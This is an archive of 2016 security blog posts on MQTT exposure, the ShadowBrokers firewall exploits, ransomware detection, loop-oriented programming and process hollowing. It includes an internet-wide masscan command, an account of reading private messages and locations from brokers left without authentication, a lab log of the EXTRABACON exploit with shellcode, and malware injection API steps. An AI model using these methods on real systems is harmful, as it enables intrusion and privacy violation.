Tuesday, September 20, 2016

Internet of Broken Things: Threats are changing, so are we ?

Hi Folks, this is another blog-post on internet of "broken things". As many of you are familiar with MQTT is one of the most used protocol over the Internet of Things. It's widely used in private area network - to make communications quick and light - and on public network as well - to build communication channels between sensors end / or servers messages -

MQTT is a machine-to-machine (M2M)/"Internet of Things" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. t is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers.

Inspired by Luca Lundgren talk on Defcon 24 titled: "Light Weight Protocol! Serious Equipment! Critical Implications!" I decided to verify myself the state of the art on MQTT implementations.

How MQTT works:


Understanding how MQTT protocol works, invented by Andy Stanford-Clark di IBM and Arlen Nipper Cirrus Link Solutions, is crucial to figure out why poorly authentication implementations will cause serious information disclosure issues.. MQTT stands for Message Queue Telemetry Transport and now is an OASIS standard. It has been designed for sending telemetry data and often runs the challenge against REST HTTP API in modern IoT environments. While is not a common protocol to build communication between clouds (and servers) since AMQP (Advanced Message Queuing Protocol) is much more expressive and performant it is often preferred to to build communication between small objects (things) to small objects (things). 

The protocol relays on a central node called "Broker" who is organised in specific programmable topics. Publishers (things) are able to publish informations to specific topics (such as but not limited to: temperature, localization, humidity, etc. ) while subscribers (applications) are able to get data from an interested and explicit topic. The following image represents a general architectural view. It's clear that a poorly implemented authentication mechanism will let the subscribers free to get the overall published data.

MQTT Architecture Flow
The beauty of unauthenticated MQTT sessions is in the subscriber topic list.  Indeed it is able to subscribe to every topic on the selected brokers by simply putting an # as topic even if it does not know the topics list.


Simple Experiment:

Let assume we might find some unauthenticated MQTT brokers, what kind of message could be identified ? Hopefully not sensible data. Let's see it !

Step 1: Discovery.
masscan even if not  assiduously upgraded is still one of my best solution to map Internet. I performed a simple massive scan in order to figure out servers with open ports on 1883 (it's the default MQTT broker port). I know... if a server owns a 1883 open port does not mean it runs a MQTT broker on it.. I totally agree but my point is not a quantitative analysis but a quality analysis, so I do not care about how many real MQTT brokers are out there but if I can find sensible data on one of them. 

sudo bin/masscan 0.0.0.0/0 --exclude 255.255.255.255 -p1883 --max-rate 10000 -oX mas1883.xml 

After few hours thousands of ip populate my "mas1883.xml" file


Step 2: Identification.
Assuming we get thousands of valid IPs running MQTT brokers we need to try to subscribe to all of them and try to subscribe to every topic. Let's write a quick'n dirty 20 lines of code to make it happens. 

Quick'n dirty script automation subscriptions (click to enlarge) 
Step 3: Results Analysis
After few running hours, I've got back interesting results (they were piped into different files from the launch bash script, so simple I did not even mentioned it). In order to describe the results I'd like to classify them into two simple sections: Note sensible data and Sensible data.

Not sensible data. MQTT messages that does not refer directly to sensible information but still interesting from attackers such as: Temperature,  Presence,  Lights sensors and commercial. If those informations get to malicious physical attacker's hands he can figure out if when to physically attack the building since it is easy to detect human presence. The following image shows  records belonging to Presence Sensors (PIR), Power Sensors, Humidity Sensors, Temperature Sensors and Noise Sensors.


Anonymised Not Sensible Data (click to enlarge)
For example an attacker could use those data to understand if in a room -- of such anonymised building -- are people in there (thanks to the value of the PIR sensor) or if someone is close to the room (thanks to noise sensors) or if somebody has been in the room (thanks to delta temperature sensors). Those informations are useful to plan an attack. So even these informations are not sensible per se it is still important to protect them. 

Another great example comes from an unauthenticated server hosting Samsung Smartthings devices.

Samsung Smartthings devices data (click to enlarge)
As you might see (enlarging the previous image.. :) we can totally monitor the "building". We know where sensors have been placed (network_cabinet, master_bedroom, parkers_closet, garage_door, home_assistant)  and what value do they have. It is not hard to find an empty room or an empty room_door_path to a target in the building.


Sensible data. MQTT data that directly refers to private information such as (but not limited to): Text Messages and Phone Geolocalization.  The following image shows text messages between two users. The used language is Italian and a close translation could be:
- "Talk to you soon"
- "Bye"

Anonymised Private Messages (click to enlarge)


The following image shows private information between pharmaceutical products (please do not ask me more about it... I wont give out much details, the pharmaceutical service has been alerted).

Anonymised Private Message between pharmaceutical services (click to enlarge)

The following image shows an interesting "spying" service (actually it's owntracks.org) which communicates geo-location over MQTT unauthenticated brokers.

Geo-location tracks (click to enlarge)



Naturally such a private information should not be freely accessible. For example knowing where people are without their permissions is illegal in many states, or reading their application messages without judiciary consent is illegal in many states as well. Naturally the correlation to such information is illegal as well. Unfortunately attackers are everywhere and thanks to internet and telecommunication their malicious activities could have global impacts. Nowadays everybody has got a smart devices, everybody keeps trace of own steps, everybody keeps monitored own heart and everybody put everything on a cloud who does not belong to him. On the other hand applications are not always well protected making data freely available and exposing data owner to incredible indirect risks.

Final Thoughts:
Unfortunately Is not possible to stop this process: Tomorrow there will be more smart things that today. Unfortunately is not possible to protect everything: products have to get to the market as quick as possible to gain market. This process is quicker than the ability of the security community to safely test everything. De facto we will continue to use even more "smart things" which will monitor everything about our life.

Threats are changing, so are we  ?  




Tuesday, August 23, 2016

Summing up the ShadowBrokers Leak

Nowadays it's almost impossible to not write about EquationGroup Leak, so I'm going to start my "blog post" pushing the following picture (realised by Kaspersky Lab) which would cut-out every doubts about the leak paternity.

EquationGroup VS ShadowBrokers's Leak

The leaked dump contains a set of exploits, implants and tools for hacking firewalls (code name: "Firewall Operations").  Let's have a quick look to them:

Exploits:

Following a list of exploit found on the published leak. Please refer to sources at the bottom of the page for original writing about them.

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

ELIGIBLEBACHELOR This is an exploit with an unclear attack vector for TOPSEC firewalls running TOS operating system versions 3.2.100.010, 3.3.001.050, 3.3.002.021 and 3.3.002.030.The attack vector is unknown but it has an XML-like payload that starts with .

ELIGIBLEBOMBSHELL It is a remote code execution exploit for TOPSEC firewalls. It exploits an HTTP cookie command injection vulnerability and uses ETag examination for version detection. Versions affected include 3.2.100.010.1_pbc_17_iv_3 to 3.3.005.066.1. 

WOBBLYLLAMA A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.002.030.8_003.

FLOCKFORWARD A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.005.066.1.

HIDDENTEMPLE A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.2.8840.1.

CONTAINMENTGRID A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.3.005.066.1.

GOTHAMKNIGHT A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.2.100.010.8_pbc_27. Has no BLATSTING support.

ELIGIBLECANDIDATE A remote code execution exploit for TOPSEC firewalls that exploits a HTTP cookie command injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1.

ELIGIBLECONTESTANT A remote code execution exploit for TOPSEC firewalls that exploits a HTTP POST paramter injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1. This exploit can be tried after ELIGIBLECANDIDATE.

EPICBANANA A privilege escalation exploit against Cisco Adaptive Security Appliance (ASA) and Cisco Private Internet eXchange (PIX) devices. Exploitation takes advantage of default Cisco credentials (password: cisco). Affects ASA versions 711, 712, 721, 722, 723, 724, 80432, 804, 805, 822, 823, 824, 825, 831, 832 and PIX versions 711, 712, 721, 722, 723, 724, 804.

ESCALATEPLOWMAN A privilege escalation exploit against WatchGuard firewalls of unknown versions that injects code via the ifconfig command.

EXTRABACON A remote code execution exploit against Cisco Adaptive Security Appliance (ASA) devices affecting ASA versions 802, 803, 804, 805, 821, 822, 823, 824, 825, 831, 832, 841, 842, 843, 844. It exploits an overflow vulnerability using the Simple Network Management Protocol (SNMP) and relies on knowing the target's uptime and software version.

BOOKISHMUTE An exploit against an unknown firewall using Red Hat 6.0.

FALSEMOREL Allows for the deduction of the "enable" password from data freely offered by an unspecified firewall (likely Cisco) and obtains privileged level access using only the hash of the "enable" password. Requires telnet to be installed on the firewall's inside interface.


Cisco exploits by vulnerabilities:

Cisco Admits Unknown Vulnerabilities

Implants:

Following a list of Implants found on the leaked dump.

BLATSTING A firewall software implant that is used with EGREGIOUSBLUNDER (Fortigate) and ELIGIBLEBACHELOR (TOPSEC). 

BANANAGLEE A non-persistent firewall software implant for Cisco ASA and PIX devices that is installed by writing the implant directly to memory. Also mentioned in the previously leaked NSA ANT catalogue. 

BANANABALLOT A BIOS module associated with an implant (likely BANANAGLEE). 

BEECHPONY A firewall implant that is a predecessor of BANANAGLEE. 

JETPLOW A firmware persistence implant for Cisco ASA and PIX devices that persists BANANAGLEE. Also mentioned in the previously leaked NSA ANT catalogue.
JETPLOW evidence on leaked USA Secret Documents


SCREAMINGPLOW Similar to JETPLOW. 

BARGLEE A firewall software implant. Unknown vendor. 

BUZZDIRECTION A firewall software implant for Fortigate firewalls. 

FEEDTROUGH A technique for persisting BANANAGLEE and ZESTYLEAK implants for Juniper NetScreen firewalls. Also mentioned in the previously leaked NSA ANT catalogue. 

JIFFYRAUL A module loaded into Cisco PIX firewalls with BANANAGLEE. 

BANNANADAIQUIRI An implant associated with SCREAMINGPLOW. Yes, banana is spelled with three Ns this time. 

POLARPAWS A firewall implant. Unknown vendor. 

POLARSNEEZE A firewall implant. Unknown vendor. 

ZESTYLEAK A firewall software implant for Juniper NetScreen firewalls that is also listed as a module for BANANAGLEE. Also mentioned in the previously leaked NSA ANT catalogue. 

SECONDDATE A packet injection module for BANANAGLEE and BARGLEE. 

BARPUNCH A module for BANANAGLEE and BARGLEE implants. 

BBALL A module for BANANAGLEE implants.

BBALLOT A module for BANANAGLEE implants. 

BBANJO A module for BANANAGLEE implants. 

BCANDY A module for BANANAGLEE implants.  

BFLEA A module for BANANAGLEE implants. 

BMASSACRE A module for BANANAGLEE and BARGLEE implants. 

BNSLOG A module for BANANAGLEE and BARGLEE implants. 

BPATROL A module for BANANAGLEE implants. 

BPICKER A module for BANANAGLEE implants. 

BPIE A module for BANANAGLEE and BARGLEE implants. 

BUSURPER A module for BANANAGLEE implants. 

CLUCKLINE A module for BANANAGLEE implants.

Tools:

Following a list of implemented tools found along the leaked dump.

BILLOCEAN Retrieves the serial number of a firewall, to be recorded in operation notes. Used in conjunction with EGREGIOUSBLUNDER for Fortigate firewalls.

FOSHO A Python library for creating HTTP exploits.

BARICE A tool that provides a shell for installing the BARGLEE implant.

DURABLENAPKIN A tool for injecting packets on LANs.

BANANALIAR A tool for connecting to an unspecified implant (likely BANANAGLEE).

PANDAROCK A tool for connecting to a POLARPAWS implant.

TURBOPANDA A tool that can be used to communicate with a HALLUXWATER implant. Also mentioned in the previously leaked NSA ANT catalogue.

TEFLONDOOR A self-destructing post-exploitation shell for executing an arbitrary file. The arbitrary file is first encrypted with a key.

1212/DEHEX Converts hexademical strings to an IP addresses and ports.

XTRACTPLEASING Extracts something from a file and produces a PCAP file as output.

NOPEN A post-exploitation shell consisting of a client and a server that encrypts data using RC6. The server is installed on the target machine.

BENIGNCERTAIN A tool that appears to be for sending certain types of Internet Key Exchange (IKE) packets to a remote host and parsing the response.

RUNNING EXAMPLE:

This is a running example of extrabacon exploit, just to be sure it will work even in my lab environment.

 mr@mrtestbox:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable  
 WARNING: No route found for IPv6 destination :: (no default route?)  
 Logging to /home/marcoramilli/concernedparent  
 [+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable  
 [+] running from /home/marcoramilli  
 Data stored in self.vinfo: ASA803  
 [+] generating exploit for exec mode pass-enable  
 [+] using shellcode in ./versions  
 [+] importing version-specific shellcode shellcode_asa803  
 [+] building payload for mode pass-enable  
 appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e  
 ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80  
 appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5  
 589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80  
 [+] random SNMP request-id 425297185  
 [+] fixing offset to payload 49  
 overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.  
 4.137.4.36.137.229.131.197.88.4  
 *** output omitted ****  
 44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144  
 payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531  
 f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff  
 fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3  
 EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010  
 *** output omitted ****  
 0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500  
 [+] Connecting to 192.168.1.66:161  
 [+] packet 1 of 1  
 [+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..  
 [+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.  
 [+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........  
 [+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......  
 [+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..  
 [+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.  
 [+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1  
 [+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....  
 [+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.  
 ...  
 ###[ SNMP ]###  
 version = v2c  
 community = 'cisco'  
 \PDU \  
 |###[ SNMPbulk ]###  
 | id = <ASN1_INTEGER[425297185]>  
 | non_repeaters= 0  
 | max_repetitions= 1  
 | \varbindlist\  
 | |###[ SNMPvarbind ]###  
 | | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>  
 | | value = <ASN1_STRING['\xeb\x14\xbfp\x82\t\t1\xc9\xb1\x04\xfc\xf3\xa4\xe9/\x00  
 \x00\x00^\xeb\xec\xe8\xf8\xff\xff\xffU1\xc0\x89\xbf\xa5\xa5\xa5\xa5\xb8\xd8\xa5\xa5\  
 xa51\xf8\xbb\xa5%\xac\xac1\xfb\xb9\xa5\xb5\xa5\xa51\xf9\xba\x....  
  *** output omitted ****  
 \xa5\xa51\xf9\xba\xa0\xa5\xa5\xa51\xfa\xcd\x80\xc3']>  
 | |###[ SNMPvarbind ]###  
 | | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165  
 .165.165.165.131.236.4.137.4.36.137.229  
  *** output omitted ****  
 44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>  
 | | value = <ASN1_NULL[0]>  
 ****************************************  
 [-] timeout waiting for response - performing health check  
 [-] no response from health check - target may have crashed  
 [-] health check failed  

Sources:

Most of the sources I've been using during that survey: Musalbas, Packetstom, ExploitDB, Cisco, Schneier

Monday, August 1, 2016

Fighting Ransomware Threats

I wrote a little bit about Ransomware general view and Ransomware general infection methods here.
Today, after some more months working on the field and after having meet much more Ransomware than I thought, I'd like to write a little bit about how to "fight them".

Before starting the review of some of the most known strategies to fight Ransomware let me explain why nowadays Ransomware are not "fair" as they were few months ago. Indeed while back at the beginning of 2016 Ransomware writers would assure your data back once paid the ransom, today's Ransomware writers don't assure it (there are several  paid ransoms with unrecovered files examples just few of them: here, here and here ).  This situation has been made possible by users who paid the ransoms during the past months. Those users arose the Ransomware ecosystem reputation by increasing the trust of entire supply chain.  

For example we experienced many infected users saying:
"Ok, I took a ransomware and my backup sucks. Let's pay the ransom, it only asks for few bucks. I'll pay more attention next time!"

This user' behaviour increased the Ransomware reputation such as today nobody doubts about paying the ransom and getting back own files. This "well reputation" made possible for "not super skilled" attackers and/or to attackers who wanted to make quick money, to implement "half of the Ransomware (without decryption module)". This made very angry the whole Ransomware 's writer community (which happens to be a professional community) who actually is divided into two main parties: the one who wants to increase the Ransomware reputation by giving back files once the ransom has been payed (usually Ransomware as a service writers) and the one who exploits the Ransomware community reputation writing quick and dirty Ransomware (available on black market as a service as well) who actually wont give back files once the ransom has paid (usually single hosted Ransomware).

Ok, nice story but how do we fight them ?

Today there are two main known strategies so far:
  1. Try to block the ransomware infection before it "fires up".
  2. Try to detect it before it can create a real "damage".
I wont write about prevention on this "post" but just about mitigation. So I assume the Ransomware is already landed on the victim's machine.

Methods to try to block a Ransomware infection before it "fires up".
Three main methods to try to block a Ransomware infection assuming the Malware already landed into victim's PC are implemented so far:

1. Signature Based (AV) Approach. 
As common virus the known Ransomware own signatures. If the signature (that could be static ore dynamic) matches the sample file, the sample itself is blocked and trashed away.
This is the romantic approach that will work only for known ransomware. Useless in today's technology.

2. Policy Based Approach.
Files executable could not be run from every folder (for example from the eMail folder or from temporary folders)
It could be a first and important way to "decelerate" the infection rate. In fact many infections happen through "avid clickers" who open untrusted email and/or click on untrusted links. Having them to move the "downloaded file" or to copy the malicious attachment to another destination often helps the "avid clickers" to get distracted and to not get infected.

3. CallBack Based approach.
Every recent Ransomware needs to comunicate to external servers to get  encryption key or to communicate the infection to the attacker and later on to get back the decryption key. A primitive approach is to detect the callback and to block it avoiding the initial communication.
This approach is hard in the real life since the communication methods can be very brilliant and innovative. Indeed the communication to command and control could be (just for example) end-to-end encrypted and/or the contacting addresses could be a legitimate hacked domain.

Methods to try to detect it before it can create a real "damage"
Some of the main methods implemented by commercial products try to block the Ransomware Infection once it has been fired up. Following the most implemented strategies. 

1. Flag processes who read and write too many files too quickly. 
This method, is used by MalwareBytes AntiRansomware which is based on Nathan Scott's CryptoMonitorIt counts how often untrusted processed have modified “a certain number of personal files, under a certain time.” A similar method implemented by Adam Kramer’s hande_monitor tool on the frequency with which processes create handles through which they can access files.
Implementing this method solo could have a tons of false positives (and white/black listing on them). Let's image DropBox process or GoogleDrive during a sync phase. How many file does it modify/delete/create and how quickly does it ? Or CAD software who constantly saves tons of partial rendered piece of files before assembling them ? It's clear that this strategy solo is not gonna work.
    
2. Flag processes that changes file's entropy values.
Encrypted files tend to have a more uniform distribution of byte values than other files. Their contents are more uniform. Our tool could compare the file’s entropy before and after the change. If a modified file has higher entropy, it might have gotten encrypted, indicating that the responsible process might be ransomware. 
Implementing this method solo you might find issues on real encrypted files and/or on compressed files who tend to have a while flat ad uniform distribution of charset.

3. Flag processes who change entropy of selected "untouchable" files.
Specific canary files are dynamically injected into hidden or not hidden folders and monitored. If a process tries to modify them, the process will be considered as malicious.
Implementing this method solo could generate false positives since an unsuspecting user could open the canary file at any time.

4. SyncHoling folders.
By creating a nested tree of recursive folders to trap single processes Ransomware who will loop into it by consuming a lot of resources but without encrypting any real user file.
Once the process (Ransomware process) is identified by one or more techniques as expressed above the system could kill it or suspend it (putting it in holding mode) asking to user what to do.


Conclusions

Ransomware infections are one of the most spread threats in todays' Internet (foreground internet). They have been evolved over years (a super great paper on the Ransomware evolution could be found here) since the last evolution defined Ransomworm (conied at the beginning of 2016), which includes self propagating skills, such as for example: infecting public accessible folders and/or running vulnerability scanning on network machine for known exploitable vulnerabilities which will be used in order to propagate itself. The following image shows the activity of used bitcoin address in a Ransomware campaign. As you might observe the average time frame of a Bitcoin address used in a Ransomware fraud is between 0 to 5 days which makes super hard to catch the owner by cross-correlation over multiple transitions.

Figure 1: The duration of activity for Bitcoin addresses. Approximately 50% of Bitcoin addresses have zero to five days of active life (from here).



Nowadays there are plenty quick fixes that promise to solve the issue but not a real solver has been released to public (at least as far as I know) so far. At this point I wont give you the consolidated suggestion to keep up to date your OS and to download the last AntiVirus Engine because it really do not matter at all. Apply the policies, inform your users about this threat and stay tuned, the answer to such a threat will come and something will happen in the Anti Malware market soon :)  .





Wednesday, June 22, 2016

From ROP to LOP bypassing Control FLow Enforcement

Once upon a time breaking the Stack (here) was a metter of indexes and executables memory areas (here). Then it came a DEP protection (here) which disabled a particular area from being executable. This is the fantastic story of ROP (Return Oriented Programming) from which I've been working for long time in writing exploiting and re-writing "resurrectors" (software engines able to convert old exploits into brand new ROP enabled exploits), please take a look: here, here, here, here, here and here. Now it's time to a new way of stack protection named Control-Flow Enforcement designed by Intel. CFE aims to prevent stack execution by using a "canary" stack .. ops this was the old way to call it.. right let me repeat the sentence... by using a "shadow stack" aiming to compare return addresses and a "Indirect Branching Tracking" aiming to track down every valid indirect call/jmp on target program.

Well, I made a joke mentioning the ancient canary words which might remind you how useless it was adding a canary control Byte (or 4 bits, actually) to enforce the entire stack, but this time is structurally  different. We are not facing a canary stack which could be adjusted by user by using "stores commands" such as: MOV, PUSH, POP, XSAVE, but is a user/kernel memory space exclusively used by "control flow commands" such as: CALL, RET, NEAR, FAR, etc.



When shadow stacks are enabled, the CALL instruction pushes the return address on both the data and shadow stack. The RET instruction pops the return address from both stacks and compares them. If the return addresses from the two stacks do not match, the processor signals a control protection exception (#CP). Note that the shadow stack only holds the return addresses and not parameters passed to the call instruction. To provide this protection the page table protections are extended to support an additional attribute for pages to mark them as “Shadow Stack” pages.  (Figure1 from here)
Just to make things a little harder (but it's going to be very useful to introduce a way to bypass Stack Shadow) let me introduce to you a more comprehensive stack defencing framework, defined by Abadi et al  and called Control-Flow Integrity framework. Following I borrow the classification described by Bingchen Lan et Al. on their paper (available here) reporting 4 kinds of Control Flow Integrity Policies (CFI):
  • CFI-call. The target address of an indirect call has to point to the beginning of a function. For instance, indirect call is constrained to the limited addresses, which are specified through statically scanning the binary for function entries.
  • CFI-jump. The target address of an indirect jump should be either the beginning of another function or inside the function where this jump instruction lies. For instance, Branch Regulation prevents jumps across function boundaries to stop attackers from modifying the addresses of indirect jumps.
  • CFI-ret. In coarse-grained CFI, the target address of a ret instruction should point to the location right after any call site. Shadow stack further enhances this constraint, i.e. the ret instruction accurately corresponds to the location after the legitimate call site in its caller.
  • CFI-heuristics. Apart from enforcing specific policies on indirect branches as CFI-call, CFI-jump and CFI-ret do, some CFI solutions tend to detect attacks by validating the number of consecutive sequences of small gadgets.
During the past few years many attack mechanisms bypassed the CIF policies, let me sum they up on the following table.

Figure 2 Comparing attack strategies the green "check" means the technique can bypass the defence policy, the red "x" means it cannot

Lets assume to be able to implement CFI-Ret and CFI-Jump (or CFI-Heuristics ) techniques in a single system. We might apparently guarantee Control Flow Integrity ! Well, it was "kind of true" since Bingchen Lan, Yan Li, Hao Sun, Chao Su, Yao Liu, Qingkai Zeng introduced in a well done paper (here) a LOP Loop Oriented Programming technique.  The main idea is to choose entire functions as gadget instead of using short code fragments or unaligned instructions. In this way the call instruction targets the beginning of a function bypassing CFI-call policy. Moreover CFI-heuristics expects the execution flow on a victim application consists of multiple short code fragments as ROP and JOP does. Since no short code is involved in LOP and it is possibile to select long gadget with many instructions on it LOP can also bypass CFI-Heuristics. The process of chaining gadgets exactly follows the normal carrer-callee (call-ret-pairing) paradigm. The loop gadget acts as proxy (dispatcher) invoking different functional gadgets repeatedly which eventuallu return to the original caller bypassing the CFI-ret policy. Meanwhile there is only one jump instruction used by LOP. This jump instruction works originally for loop functionality and it is untouched by LOP. Hence, CFI-jump is also ineffective towards LOP. The following picture shows the difference between CPROP and LOP.
Figure 3. CROP VS LOP (from here)


It's now interesting defining how a Loop gadget looks like. So, lets define a loop gadget as a complete working function having 3 keys elements such as :

  1. A loop statement
  2. An indirect call instruction within the loop
  3. An index instruction within the loop statement.
The following example is taken from initterm() in msvcrt.dll a Microsoft Windows dynamic library.

Figure 4: Example of LOP gadget


The LOP gadget make possible to set up starting address and ending address. Then Hijacks the control flow to the loop gadget. Then the LOP gadget makes the index pointer pointing to start to start address of the dispatch "table". It takes the next gadget address and uses an indirect call to invoke the addressed lop gadget. Just after the call it returns to the instruction located right after the indirect call in the loop by a legal ret instruction. Later the gadgets modifies the pointing index making it addressing the next gadget. It ends up by comparing the index value and the "end address".

Figure 5 Comparing attacks strategies the green "check" means the technique can bypass the defence policy, the red "x" means it cannot

We can now add an additional raw on the attack-comparing–table as shown in Figure5 introducing LOP as the ultimate way to bypass Control Flow Integrity Techniques. Happy hunting !

Sunday, May 29, 2016

Process Hollowing

Back in 2011 blogs (here, herehere) and papers (here, here, here, here) described a widely used Malware technique to hide malicious actions called: Process Hollowing. Nowadays we are experiencing some "flashbacks" to this delightful technique, so I decided to write a little bit about it, just in case someone needs a "refresh".

Process hollowing is a technique used by some malware in which a legitimate process is loaded on the system solely to act as a container for hostile code. At launch, the legitimate code is deallocated and replaced with malicious code.
Process Hollowing (from here)
The beauty of this technique is in the help given to malicious process to be hidden between conventional processes. But let's walk a little bit on the technique:

Step1.
The Malware starts a legitimate process by using the CreateProcecess within CREATE_SUSPENDED flag enabled in the fdwCreate.


// This function is used to run a new program. It creates a new process // and its primary thread. The new process runs the specified executable // file.
BOOL CreateProcess(
LPCWSTR pszImageName,
LPCWSTR pszCmdLine,
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles,
DWORD fdwCreate,
LPVOID pvEnvironment,
LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo,
LPPROCESS_INFORMATION pProcInfo
);
// fdwCreate
// [in] Specifies additional flags that control the priority
// and the creation of the process.

//
// CREATE_SUSPENDED fdwCreate flag
// The primary thread of the new process is created in a suspended state,
// and does not run until the ResumeThread function is called.
Step2.
The process has been created and it's in suspended state. Now it's time to hollow the legitimate code from memory in the hosted process. We might use the following API (ZwUnmapViewOfSection).

// NtUnmapViewOfSection and ZwUnmapViewOfSection are two versions of
// the same Windows Native System Services routine.


// The ZwUnmapViewOfSection routine unmaps a view of a section from
// the virtual address space of a subject process.

// a view can be a whole or partial mapping of a section object in 
// the virtual address space of a process.


NTSTATUS ZwUnmapViewOfSection(
__in HANDLE ProcessHandle,
__in_opt PVOID BaseAddress
);

Step3.
The Malware then allocates  memory for the new code by classically using VirtualAllocEx. The Malware should ensure the code is marked as writable and executable (by using flProtect).



// Reserves or commits a region of memory within the virtual address 
// space of a specified process.


LPVOID WINAPI VirtualAllocEx(
__in HANDLE hProcess,
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);

// Memory Protection Constant PAGE_EXECUTE_READWRITE = 0x40
// Enables execute, read-only, or read/write access to the committed 
// region of pages.

Step4.
Now it's time to write the malicious code into the hollow host process using the romantic WriteProcessMemory.


// Writes data to an area of memory in a specified process. The entire 
// area to be written to must be accessible or the operation fails.


BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);


Step5.
in order to camouflage the Malware, the author should re-set the normal pagination schema by setting Read/Execute protections like any other normal process by using VirtualProtectEx.
// Changes the protection on a region of committed pages in the virtual 
// address space of a specified process.

BOOL WINAPI VirtualProtectEx(
__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);

It should also set the remote context to point to the new code section. The SetThreatContext API has been used to reach the scope!

// Sets the context for the specified thread.
BOOL WINAPI SetThreadContext(
__in HANDLE hThread,
__in const CONTEXT *lpContext
);


Step6.
It's time to resume the suspended thread (ResumeThread) and "game over" !

// Decrements a thread's suspend count. When the suspend count is 
// decremented to zero, the execution of the thread is resumed.

DWORD WINAPI ResumeThread(
__in HANDLE hThread
);

We've just fired up a brand new (and potentially malicious) process!

Focusing on detection, it is going to be hard if using static signatures (such as AntiVirus romantic signatures) but having the possibility to dynamically analyse system calls (such as a sandboxed environment) the detection rate will increase drastically.

Monday, May 16, 2016

Notorious Hacking Groups in mid 2016

It happens from time to time people asking me what are the most "notorious hacking groups". On February 2015 I wrote a little bit on most notorious group in 2015 (here) but today things changed a little bit. It's hard to answer to such a question since we need a strong definition of "notorious", do we mean the most known groups ever ? Or do we mean the most successful groups ? Or, again, the ones who attack few big organisations or the ones who attacks successfully millions of user PCs ? OK, we might go forth forever on that, so I'll give my personal point of view (which is debatable) based on my findings and on my daily activities.

The following list is not complete at all and it never will be, but if you want to start from scratch to looks for "notorious" group here a nice start:

Pawn Storm,  (Operation PawnStorm) is for sure one of the most interesting hacking group we might observe nowadays.
It is an active economic and political cyber espionage operation that targets a wide range of high-profile entities, from government institutions to media personalities. Its activities were first seen as far back as 2004, but recent developments have revealed more concrete details about the operation itself, including its origins and targets.
Regin. I've been writing about Regin (here) and at that time it was mainly considered an attack. Nowadays after several observable attacks we think it 's most a group of people who built sophisticated attaching tools.  
Regin, first identified in 2008, is a highly complex threat used by the APT group for large-scale data collection and intelligence-gathering campaigns. The development and operation of this threat would have required a significant investment of time and resources. Threats of this nature are rare and the discovery of Regin serves to highlight how significant investments continue to be made into the development of tools for use in intelligence-gathering. Many components of the Regin tools remain undiscovered, and additional functionality and versions may exist.
